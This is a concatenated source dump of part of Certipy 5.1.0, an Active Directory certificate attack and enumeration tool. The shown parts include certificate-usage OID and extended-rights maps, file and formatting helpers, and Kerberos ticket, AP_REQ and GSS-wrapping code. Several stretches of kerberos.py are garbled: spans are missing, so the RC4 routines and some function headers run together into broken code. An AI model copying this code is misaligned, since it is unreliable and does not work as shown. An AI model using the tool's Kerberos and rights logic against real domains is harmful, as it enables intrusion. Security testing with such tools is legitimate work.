"1.3.6.1.4.1.311.61.1.1": "Kernel Mode Code Signing", "1.3.6.1.4.1.311.10.3.26": "Windows Software Extension Verification", "1.3.6.1.4.1.311.76.3.1": "Windows Store", "1.3.6.1.4.1.311.10.6.1": "Key Pack Licenses", "1.3.6.1.4.1.311.20.2.2": "Smart Card Logon", "1.3.6.1.4.1.311.10.3.8": "Embedded Windows System Component Verification", "1.3.6.1.4.1.311.10.3.20": "Windows Kits Component", "1.3.6.1.4.1.311.10.3.5": "Windows Hardware Driver Verification", "1.3.6.1.4.1.311.10.3.39": "Windows Hardware Driver Extended Verification", "1.3.6.1.4.1.311.10.6.2": "License Server Verification", "1.3.6.1.4.1.311.10.3.5.1": "Windows Hardware Driver Attested Verification", "1.3.6.1.4.1.311.76.5.1": "Dynamic Code Generator", "1.3.6.1.4.1.311.10.3.4.1": "File Recovery", "1.3.6.1.4.1.311.2.6.1": "SpcRelaxedPEMarkerCheck", "1.3.6.1.4.1.311.2.6.2": "SpcEncryptedDigestRetryCount", "1.3.6.1.4.1.311.10.3.4": "Encrypting File System", "1.3.6.1.4.1.311.61.5.1": "HAL Extension", "1.3.6.1.4.1.311.10.3.9": "Root List Signer", "1.3.6.1.4.1.311.10.3.30": "Disallowed List", "1.3.6.1.4.1.311.10.3.19": "Revoked List Signer", "1.3.6.1.4.1.311.10.3.21": "Windows RT Verification", "1.3.6.1.4.1.311.10.3.10": "Qualified Subordination", "1.3.6.1.4.1.311.10.3.12": "Document Signing", "1.3.6.1.4.1.311.10.3.24": "Protected Process Verification", "1.3.6.1.4.1.311.80.1": "Document Encryption", "1.3.6.1.4.1.311.10.3.22": "Protected Process Light Verification", "1.3.6.1.4.1.311.21.19": "Directory Service Email Replication", "1.3.6.1.4.1.311.21.5": "Private Key Archival", "1.3.6.1.4.1.311.10.5.1": "Digital Rights", "1.3.6.1.4.1.311.10.3.27": "Preview Build Signing", "1.3.6.1.4.1.311.20.2.1": "Certificate Request Agent", "1.3.6.1.4.1.311.20.1": "CTL Usage", "1.3.6.1.4.1.311.10.3.1": "Microsoft Trust List Signing", "1.3.6.1.4.1.311.10.3.2": "Microsoft Time Stamping", "1.3.6.1.4.1.311.76.8.1": "Microsoft Publisher", # Standard certificate usages "1.3.6.1.5.5.7.3.1": "Server Authentication", "1.3.6.1.5.5.7.3.2": "Client Authentication", "1.3.6.1.4.1.311.54.1.2": "Remote Desktop Authentication", "1.3.6.1.5.5.7.3.3": "Code Signing", "1.3.6.1.5.5.7.3.4": "Secure Email", "1.3.6.1.5.5.7.3.5": "IP security end system", "1.3.6.1.5.5.7.3.6": "IP security tunnel termination", "1.3.6.1.5.5.7.3.7": "IP security use", "1.3.6.1.5.5.7.3.8": "Time Stamping", "1.3.6.1.5.5.7.3.9": "OCSP Signing", "1.3.6.1.5.5.8.2.2": "IP security IKE intermediate", # Attestation and Platform Trust "2.23.133.8.1": "Endorsement Key Certificate", "2.23.133.8.2": "Platform Certificate", "2.23.133.8.3": "Attestation Identity Key Certificate", # Kerberos "1.3.6.1.5.2.3.4": "PKINIT Client Authentication", "1.3.6.1.5.2.3.5": "KDC Authentication", # Special purpose "1.3.6.1.4.1.311.10.3.13": "Lifetime Signing", "2.5.29.37.0": "Any Purpose", "1.3.6.1.4.1.311.64.1.1": "Server Trust", } OID_TO_STR_NAME_MAP = {v.lower(): k for k, v in OID_TO_STR_MAP.items()} # ========================================================================= # Extended Rights Mapping # ========================================================================= # Extended rights mapping from UUID to name # Retrieved from Windows 2022 server via LDAP (CN=Extended-Rights,CN=Configuration,DC=...) EXTENDED_RIGHTS_MAP = { # Domain administration "ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server", "e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information", "4c164200-20c0-11d0-a768-00aa006e0529": "User-Account-Restrictions", "59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information", "77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information", "e45795b2-9455-11d1-aebd-0000f80367c1": "Email-Information", "e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information", "91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information", "037088f8-0ae1-11d2-b422-00a0c968f939": "RAS-Information", # Password and authentication rights "ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password", "00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password", "c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password", "ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password", "280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit", "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": "Enable-Per-User-Reversibly-Encrypted-Password", # Replication and directory service rights "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize", "1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": "Read-Only-Replication-Secret-Synchronization", "9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica", "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology", "4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner", "084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets", "94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets", "4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota", "88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota", "9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer", # Infrastructure roles and operations "e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master", "d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master", "fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection", "0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy", "1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids", "bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC", "014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master", "cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master", "be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache", "62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance", "69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms", "440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID", "2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script", # Email and messaging related "ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As", "ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As", "ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To", "4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter", "4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter", "4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal", "4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal", "06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive", "06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek", "06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send", "06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal", "b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector", # Authentication and access "5f202010-79a5-11d0-9020-00c04fc2d4cf": "User-Logon", "bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Membership", "a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book", "bf9679c0-0de6-11d0-a285-00aa003049e2": "Self-Membership", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name-Attributes", "f3a64788-5306-11d1-a9c5-0000f80367c1": "Validated-SPN", "ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History", "45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones", "68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate", "91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain", "d31a8757-2447-4545-8081-3bb610cacbf2": "Validated-MS-DS-Behavior-Version", "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "Validated-MS-DS-Additional-DNS-Host-Name", "3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller", # Policy and system management "edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy", "b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning", "b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging", "9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache", "b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Domain-Other-Parameters", "e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust", "7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect-Admin-Groups-Task", "7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features", # Certificate and cryptography "0e10c968-78fb-11d2-90d4-00c04f79dc55": "Enroll", "a05b8cc2-17bc-4802-a710-e7c15ab866a2": "AutoEnroll", "1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate", "5805bc62-bdc9-4428-a5e2-856a0f4c185e": "Terminal-Server-License-Server", "ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess", # Special rights "00000000-0000-0000-0000-000000000000": "All-Extended-Rights", } # Create reverse mapping from name to UUID for lookup by name EXTENDED_RIGHTS_NAME_MAP = {v: k for k, v in EXTENDED_RIGHTS_MAP.items()} Certipy-5.1.0/certipy/lib/errors.py000077500000000000000000000043471521657466500173030ustar00rootroot00000000000000""" Error code translation utilities for Certipy. This module provides functions for translating numeric error codes from Windows APIs and Kerberos services into human-readable messages. It acts as a wrapper around the error code mappings provided by the impacket library. Functions: translate_error_code: Convert a Windows error code to a readable message """ import traceback from typing import Dict, Tuple from impacket import hresult_errors from impacket.krb5.kerberosv5 import constants as krb5_constants from certipy.lib.logger import is_verbose, logging # Import Kerberos error message dictionary for easier access KRB5_ERROR_MESSAGES: Dict[int, Tuple[str, str]] = krb5_constants.ERROR_MESSAGES def translate_error_code(error_code: int) -> str: """ Translate a Windows API error code to a human-readable string. Args: error_code: Windows API error code (HRESULT) Returns: Formatted error message with code, short description, and detailed explanation Example: >>> translate_error_code(0x80090311) 'code: 0x80090311 - SEC_E_LOGON_DENIED - The token supplied to the function is invalid' """ # Mask to 32 bits to handle sign extension issues masked_code = error_code & 0xFFFFFFFF # Look up in the impacket error dictionary if masked_code in hresult_errors.ERROR_MESSAGES: error_tuple: Tuple[str, str] = hresult_errors.ERROR_MESSAGES[masked_code] error_short, error_detail = error_tuple # Format the message with all information return f"code: 0x{masked_code:x} - {error_short} - {error_detail}" else: # Handle unknown error codes return f"unknown error code: 0x{masked_code:x}" def handle_error(is_warning: bool = False) -> None: """ Handle errors by printing the error message and exiting the program. This function is a placeholder for error handling logic. It can be extended to include logging, user notifications, or other actions as needed. """ if is_verbose(): # Print the full traceback for debugging traceback.print_exc() else: msg = "Use -debug to print a stacktrace" if is_warning: logging.warning(msg) else: logging.error(msg) Certipy-5.1.0/certipy/lib/files.py000066400000000000000000000055361521657466500170670ustar00rootroot00000000000000""" File handling utilities for Certipy. This module provides functions for safely writing data to files with appropriate fallback mechanisms. """ import base64 import os import uuid from typing import Union from certipy.lib.errors import handle_error from certipy.lib.logger import logging def try_to_save_file( data: Union[bytes, str], output_path: str, abort_on_fail: bool = False ) -> str: """ Try to write data to a file or stdout if file writing fails. This function attempts to save data to the specified path. If writing fails, it outputs to stdout instead. If the file already exists, the user is prompted to confirm overwriting. Args: data: Data to write (either binary bytes or text string) output_path: Path to output file abort_on_fail: If True, abort the operation on failure """ logging.debug(f"Attempting to write data to {output_path!r}") # Clean up the output path output_path = output_path.replace("\\", "_").replace("/", "_").replace(":", "_") # Handle file existence check and overwrite confirmation output_path = _handle_file_exists(output_path) # Write to file with appropriate mode try: mode = "wb" if isinstance(data, bytes) else "w" with open(output_path, mode) as f: f.write(data) logging.debug(f"Data written to {output_path!r}") return output_path except Exception as e: if abort_on_fail: logging.error(f"Error writing output file: {e}") raise logging.error(f"Error writing output file: {e}. Dumping to stdout instead") handle_error() _write_to_stdout(data) return "stdout" def _handle_file_exists(path: str) -> str: """ Handle the case where a file already exists. Prompts the user to confirm overwriting or generates a new unique filename. If the user chooses not to overwrite, a UUID is appended to create a unique name. Args: path: Original file path Returns: Final path to use (either original or new unique path) """ if os.path.exists(path): overwrite = input( f"File {path!r} already exists. Overwrite? (y/n - saying no will save with a unique filename): " ) if overwrite.strip().lower() != "y": # Generate a unique filename base, ext = os.path.splitext(path) new_path = f"{base}_{uuid.uuid4()}{ext}" logging.debug(f"Using alternative filename: {new_path!r}") return new_path return path def _write_to_stdout(data: Union[bytes, str]) -> None: """ Write data to stdout, encoding binary data as base64 if needed. Args: data: Data to output (binary data will be base64 encoded) """ if isinstance(data, bytes): print(base64.b64encode(data).decode()) else: print(data) Certipy-5.1.0/certipy/lib/formatting.py000077500000000000000000000072651521657466500201430ustar00rootroot00000000000000""" Formatting utilities for Certipy. This module provides functions for formatting data into human-readable formats, including pretty printing dictionaries, and case conversion. """ import datetime from typing import Any, Callable, Dict # Type aliases for better readability PrintFunc = Callable[..., Any] JsonLike = Dict[str, Any] def to_pascal_case(snake_str: str) -> str: """ Convert a snake_case string to PascalCase. Args: snake_str: String in snake_case format Returns: String converted to PascalCase Example: >>> to_pascal_case("hello_world") "HelloWorld" """ components = snake_str.split("_") return "".join(x.title() for x in components) REMAP = { "http": "HTTP", "https": "HTTPS", "enabled": "Enabled", "channel_binding": "Channel Binding (EPA)", } def pretty_print( data: JsonLike, indent: int = 0, padding: int = 40, print_func: PrintFunc = print ) -> None: """ Pretty print a dictionary with customizable indentation and padding. Handles nested dictionaries, lists, and various data types with appropriate formatting. Args: data: Dictionary to print indent: Initial indentation level padding: Left padding for values print_func: Function to use for printing (default: built-in print) Raises: TypeError: If input is not a dictionary or contains unsupported types """ indent_str = " " * indent for key, value in data.items(): if key in REMAP: # Remap keys if needed key = REMAP[key] key_str = f"{indent_str}{key}" padded_key = key_str.ljust(padding, " ") if isinstance(value, (str, int, float, bool)): # Simple scalar types print_func(f"{padded_key}: {value}") elif isinstance(value, datetime.datetime): # Format datetime as ISO format print_func(f"{padded_key}: {value.isoformat()}") elif isinstance(value, dict): # Handle nested dictionaries print_func(f"{key_str}") pretty_print( value, indent=indent + 1, padding=padding, print_func=print_func ) elif isinstance(value, list): if len(value) > 0 and isinstance(value[0], dict): # List of dictionaries print_func(f"{key_str}") for item in value: if isinstance(item, dict): pretty_print( item, indent=indent + 1, padding=padding, print_func=print_func, ) else: print_func(f"{indent_str} {item}") else: # Format list with line breaks if needed formatted_list = ("\n" + " " * padding + " ").join( str(x) for x in value ) print_func(f"{padded_key}: {formatted_list}") elif isinstance(value, tuple): # Handle tuples (similar to lists of dictionaries) print_func(f"{key_str}") for item in value: if isinstance(item, dict): pretty_print( item, indent=indent + 1, padding=padding, print_func=print_func ) else: print_func(f"{indent_str} {item}") elif value is None: # Skip None values continue else: # Unsupported type raise TypeError( f"Unsupported type for pretty printing: {type(value).__name__}" ) Certipy-5.1.0/certipy/lib/http.py000066400000000000000000000012011521657466500167250ustar00rootroot00000000000000from typing import Literal def get_authentication_method( authenticate_header: str, ) -> Literal["NTLM", "Negotiate"]: """ Get the authentication method from the WWW-Authenticate header. Args: authenticate_header: The WWW-Authenticate header value Returns: The authentication method (e.g., "NTLM", "Negotiate") """ authenticate_header = authenticate_header.lower() if "ntlm" in authenticate_header: return "NTLM" elif "negotiate" in authenticate_header: return "Negotiate" else: raise ValueError(f"Unsupported authentication method: {authenticate_header}") Certipy-5.1.0/certipy/lib/kerberos.py000077500000000000000000001000151521657466500175700ustar00rootroot00000000000000""" Kerberos authentication module for Certipy. This module provides functionality for Kerberos-based authentication and ticket management, supporting both credential-based and ticket-based operations against Windows services. Key features: - TGT (Ticket Granting Ticket) acquisition and caching - TGS (Ticket Granting Service) ticket acquisition and caching - Kerberos authentication for HTTP requests - Support for channel binding with EPA (Extended Protection for Authentication) - Encryption and decryption using various Kerberos ciphers """ import base64 import datetime import os import random import string import struct from typing import Any, Dict, Generator, Optional, Tuple, cast import httpx from Cryptodome.Cipher import ARC4 from Cryptodome.Hash import HMAC, MD5 from impacket.krb5 import constants from impacket.krb5.asn1 import AP_REQ, TGS_REP, Authenticator, seq_set from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key from impacket.krb5.gssapi import ( GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG, GSS_C_REPLAY_FLAG, GSS_C_SEQUENCE_FLAG, GSS_HMAC, GSS_RC4, ) from impacket.krb5.gssapi import GSSAPI as create_kerberos_cipher # noqa: N811 from impacket.krb5.gssapi import ( GSSAPI_RC4, KG_USAGE_ACCEPTOR_SEAL, KG_USAGE_INITIATOR_SEAL, CheckSumField, ) from impacket.krb5.kerberosv5 import KerberosError, getKerberosTGS, getKerberosTGT from impacket.krb5.types import KerberosTime, Principal, Ticket from impacket.spnego import SPNEGO_NegTokenInit, TypesMech from pyasn1.codec.ber import decoder, encoder from pyasn1.type.univ import noValue from certipy.lib.channel_binding import get_channel_binding_data_from_response from certipy.lib.logger import logging from certipy.lib.structs import e2i from certipy.lib.target import Target # Try to use a secure random number generator, fallback to standard if not available try: rand = random.SystemRandom() except NotImplementedError: logging.warning( "System RNG not available, falling back to less secure random generator" ) rand = random # Constants KERB_AP_OPTIONS_CBT = 0x4000 # Channel Binding token flag KRB_CLOCK_SKEW = 300 # 5 minutes in seconds AUTH_DATA_AP_OPTIONS = 143 # AD-AUTH-DATA-AP-OPTIONS type KRB_OID = b"\x06\t*\x86H\x86\xf7\x12\x01\x02\x02" # Kerberos OID: 1.2.840.113554.1.2.2 # Cache for TGT and TGS tickets to avoid redundant authentication # Keys: (username, domain, lmhash, nthash, aeskey, kdc_host) TGT_CACHE: Dict[ Tuple[str, str, bytes, bytes, bytes, Optional[str]], Tuple[bytes, type, Key] ] = {} # Keys: (spn, domain, kdc_host, kdc_rep, cipher, session_key) TGS_CACHE: Dict[ Tuple[str, str, Optional[str], Any, Optional[type], Any], Tuple[bytes, type, Key] ] = {} def _convert_to_binary(data: Optional[str]) -> Optional[bytes]: """ Convert string hex representation to binary bytes. Args: data: String hex representation or None Returns: Bytes representation or None if input was None or empty """ if not data: return None return bytes.fromhex(data) class MechIndepToken: """ Mechanism Independent Token implementation for Kerberos authentication. This class handles the encoding and decoding of GSS-API tokens with embedded mechanism identifiers (OIDs) for Kerberos. """ def __init__(self, data: bytes, oid: bytes): """ Initialize a mechanism independent token. Args: data: Token data oid: Object identifier for the authentication mechanism """ self.data = data self.token_oid = oid @staticmethod def from_bytes(data: bytes) -> "MechIndepToken": """ Parse a mechanism independent token from its binary representation. Args: data: Binary data to parse Returns: Parsed MechIndepToken object Raises: Exception: If the data format is invalid """ if data[0:1] != b"\x60": raise Exception("Incorrect token data format (expected 0x60)") data = data[1:] length, data = MechIndepToken._get_length(data) token_data = data[0:length] if token_data[0:1] != b"\x06": raise Exception("Incorrect OID tag in token data") oid_length, _ = MechIndepToken._get_length(token_data[1:]) token_oid = token_data[0 : oid_length + 2] data = token_data[oid_length + 2 :] return MechIndepToken(data, token_oid) @staticmethod def _get_length(data: bytes) -> Tuple[int, bytes]: """ Extract ASN.1 length from the given data. Args: data: Binary data containing ASN.1 length Returns: Tuple of (length, remaining_data) """ if data[0] < 128: # Short form - length is in the first byte return data[0], data[1:] else: # Long form - first byte (minus 128) indicates number of length bytes bytes_count = data[0] - 128 length = int.from_bytes( data[1 : 1 + bytes_count], byteorder="big", signed=False ) return length, data[1 + bytes_count :] @staticmethod def _encode_length(length: int) -> bytes: """ Encode a length value in ASN.1 format. Args: length: Length value to encode Returns: ASN.1 encoded length bytes """ if length < 128: # Short form - single byte return length.to_bytes(1, byteorder="big", signed=False) else: # Long form - multiple bytes length_bytes = length.to_bytes((length.bit_length() + 7) // 8, "big") return (128 + len(length_bytes)).to_bytes( 1, byteorder="big", signed=False ) + length_bytes def to_bytes(self) -> Tuple[bytes, bytes]: """ Convert the token to its binary representation. Returns: Tuple of (header_bytes, data_bytes) """ complete_token = self.token_oid + self.data # Create the ASN.1 structure token_bytes = ( b"\x60" + self._encode_length(len(complete_token)) + complete_token ) # Return the header and data portions separately header_end = len(token_bytes) - len(self.data) return token_bytes[:header_end], self.data class KerberosCipher: """ Implements encryption and decryption for Kerberos GSS-API messages. This class supports both RC4 and AES ciphers for securing GSSAPI communications in Kerberos authentication. """ def __init__(self, cipher: type, session_key: Key): """ Initialize the KerberosCipher object. Args: cipher: Cipher class for encryption/decryption session_key: Session key for encryption/decryption """ self.cipher = create_kerberos_cipher(cipher) self.session_key = session_key def encrypt(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]: """ Encrypt data using the appropriate Kerberos cipher. Automatically selects between RC4 and AES encryption based on the cipher type. Args: data: Plaintext data to encrypt sequence_number: Message sequence number for integrity Returns: Tuple of (cipher_text, signature) """ if isinstance(self.cipher, GSSAPI_RC4): return self._encrypt_rc4(data, sequence_number) else: return self._encrypt_aes(data, sequence_number) def decrypt(self, data: bytes) -> bytes: """ Decrypt data using the appropriate Kerberos cipher. Automatically selects between RC4 and AES decryption based on the cipher type. Args: data: Encrypted data to decrypt Returns: Decrypted plaintext """ if isinstance(self.cipher, GSSAPI_RC4): return self._decrypt_rc4(data) else: return self._decrypt_aes(data) def _encrypt_aes(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]: """ Encrypt data using AES cipher. Args: data: Plaintext data to encrypt sequence_number: Message sequence number for integrity Returns: Tuple of (cipher_text, signature) Raises: ValueError: If RC4 cipher is provided for AES encryption """ if isinstance(self.cipher, GSSAPI_RC4): raise ValueError("RC4 cipher cannot be used for AES encryption") # Create token structure token = self.cipher.WRAP() cipher = self.cipher.cipherType # Set RRC (Required Role Check) for in-place encryption rrc = 28 # Set token flags token["Flags"] = 6 # Privacy and Integrity token["EC"] = 0 # Extra Count token["RRC"] = 0 # Initially zero token["SND_SEQ"] = struct.pack(">Q", sequence_number) # Sequence number # Encrypt the data with the token cipher_text = cipher.encrypt( self.session_key, KG_USAGE_INITIATOR_SEAL, data + token.getData(), None ) # Update RRC in token token["RRC"] = rrc # Apply rotation based on RRC and EC cipher_text = self.cipher.rotate(cipher_text, token["RRC"] + token["EC"]) return cipher_text, token.getData() def _decrypt_aes(self, data: bytes) -> bytes: """ Decrypt data using AES cipher. Args: data: Encrypted data to decrypt Returns: Decrypted plaintext Raises: ValueError: If RC4 cipher is provided for AES decryption """ if isinstance(self.cipher, GSSAPI_RC4): raise ValueError("RC4 cipher cannot be used for AES decryption") # Extract token and cipher text token = self.cipher.WRAP(data[:16]) rotated_data = data[16:] # Create cipher instance cipher = self.cipher.cipherType() # Unrotate the cipher text cipher_text = self.cipher.unrotate(rotated_data, token["RRC"] + token["EC"]) # Decrypt the data plain_text = cipher.decrypt( self.session_key, KG_USAGE_ACCEPTOR_SEAL, cipher_text ) # Remove token data from the end return plain_text[: -(token["EC"] + 16)] def _encrypt_rc4(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]: """ Encrypt data using RC4 cipher. Args: data: Plaintext data to encrypt sequence_number: Message sequence number for integrity Returns: Tuple of (cipher_text, signature) Raises: ValueError: If AES cipher is provided for RC4 encryption """ if not isinstance(self.cipher, GSSAPI_RC4): raise ValueError("AES cipher cannot be used for RC4 encryption") # Add encryption flag byte data_with_flag = data + b"\x01" # Create token structure token = self.cipher.WRAP() token["SGN_ALG"] = GSS_HMAC token["SEAL_ALG"] = GSS_RC4 # Set sequence number token["SND_SEQ"] = struct.pack(">L", sequence_number) + b"\x00" * 4 # Generate random confounding bytes token["Confounder"] = "".join( [rand.choice(string.ascii_letters) for _ in range(8)] ).encode() # Generate signing key k_sign = HMAC.new(self.session_key.contents, b"signaturekey\0", MD5).digest() # Generate checksum sgn_cksum = MD5.new( struct.pack("L", sequence_number), MD5).digest() # Generate sequence key k_seq = HMAC.new(self.session_key.contents, struct.pack(" bytes: """ Decrypt data using RC4 cipher. Args: data: Encrypted data to decrypt Returns: Decrypted plaintext Raises: ValueError: If AES cipher is provided for RC4 decryption Exception: If data format is invalid """ if not isinstance(self.cipher, GSSAPI_RC4): raise ValueError("AES cipher cannot be used for RC4 decryption") try: # Parse mechanism independent token token = MechIndepToken.from_bytes(data) # Extract WRAP token from first 32 bytes wrap = self.cipher.WRAP(token.data[:32]) encrypted_data = token.data[32:] # Generate sequence key k_seq = HMAC.new( self.session_key.contents, struct.pack(" Generator[httpx.Request, httpx.Response, None]: """ Implement the authentication flow for HTTPX. This generator handles the first request and delegates to retry_with_auth if authentication is required. Args: request: The HTTPX request to authenticate Yields: Modified requests with appropriate authentication headers """ # Set connection to keep-alive to maintain the authentication state request.headers["Connection"] = "Keep-Alive" # Send the initial request response = yield request # If server requires authentication, proceed with Kerberos auth if response.status_code in (401, 407): yield from self.retry_with_auth(request, response) def retry_with_auth( self, request: httpx.Request, response: httpx.Response ) -> Generator[httpx.Request, httpx.Response, None]: """ Retry the request with Kerberos authentication. This method adds Kerberos SPNEGO authentication header to the request. Args: request: The original HTTPX request response: The HTTPX response requiring authentication Yields: Modified request with Kerberos authentication header Raises: ValueError: If server doesn't provide an authentication challenge """ # Determine header names based on status code (proxy vs direct) is_proxy = response.status_code == 407 authenticate_header_name = ( "Proxy-Authenticate" if is_proxy else "WWW-Authenticate" ) authorization_header_name = ( "Proxy-Authorization" if is_proxy else "Authorization" ) # Check if server sent authentication challenge authenticate_header = response.headers.get(authenticate_header_name) if authenticate_header is None: raise ValueError( f"No {authenticate_header_name} header found in server response" ) # Get channel binding data if enabled channel_binding_data = None if self.channel_binding: channel_binding_data = get_channel_binding_data_from_response(response) if channel_binding_data: logging.debug("Using channel binding for Kerberos authentication") else: logging.debug("Channel binding data not available for this connection") # Generate Kerberos token _, _, spnego_blob, _ = get_kerberos_type1( self.target, self.target.remote_name, self.service, channel_binding_data ) # Add token to request header auth_header = f"Negotiate {base64.b64encode(spnego_blob).decode()}" request.headers[authorization_header_name] = auth_header # Return the authenticated request yield request def get_kerberos_type1( target: Target, target_name: str = "", service: str = "HOST", channel_binding_data: Optional[bytes] = None, signing: bool = False, ) -> Tuple[type, Key, bytes, str]: """ Generate a Kerberos Type 1 authentication message (AP_REQ). Creates a SPNEGO token containing Kerberos AP_REQ that can be used for HTTP or other protocol authentication. Supports channel binding for EPA. Args: target: Target object containing authentication details target_name: Name of the target server service: Service type (e.g., "HTTP", "HOST") channel_binding_data: Optional channel binding token data for EPA signing: Whether to enable signing and encryption flags Returns: Tuple containing: - Cipher object for encryption - Session key for future operations - SPNEGO token as bytes - Authenticated username """ # Get TGS ticket for the service tgs, cipher, session_key, username, domain = get_tgs(target, target_name, service) # Create principal for the client principal = Principal(username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL)) # Create SPNEGO token blob = SPNEGO_NegTokenInit() blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]] # Extract ticket from TGS response tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() _ = ticket.from_asn1(tgs_rep["ticket"]) # Build AP_REQ message ap_req = AP_REQ() ap_req["pvno"] = 5 # Protocol version number ap_req["msg-type"] = e2i(constants.ApplicationTagNumbers.AP_REQ) ap_req["ap-options"] = constants.encodeFlags([]) # No options by default seq_set(ap_req, "ticket", ticket.to_asn1) # Create authenticator authenticator = Authenticator() authenticator["authenticator-vno"] = 5 # Version number authenticator["crealm"] = domain seq_set(authenticator, "cname", principal.components_to_asn1) # Add timestamp now = datetime.datetime.now(datetime.timezone.utc) authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) # Set up the GSS-API checksum authenticator["cksum"] = noValue authenticator["cksum"]["cksumtype"] = 0x8003 # GSS API checksum type checksum = CheckSumField() checksum["Lgth"] = 16 # Set flags for message protection flags = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG if signing: flags |= GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG checksum["Flags"] = flags # Add channel binding data if provided if channel_binding_data: checksum["Bnd"] = channel_binding_data authenticator["cksum"]["checksum"] = checksum.getData() # Add authorization data for channel binding if channel_binding_data: authenticator["authorization-data"] = noValue authenticator["authorization-data"][0] = noValue authenticator["authorization-data"][0]["ad-type"] = AUTH_DATA_AP_OPTIONS authenticator["authorization-data"][0]["ad-data"] = struct.pack( " Tuple[bytes, type, Key, str, str]: """ Obtain a Ticket Granting Service (TGS) ticket for the specified service. This function implements a multi-step strategy for acquiring a TGS: 1. Try to use credentials from an existing Kerberos ticket cache 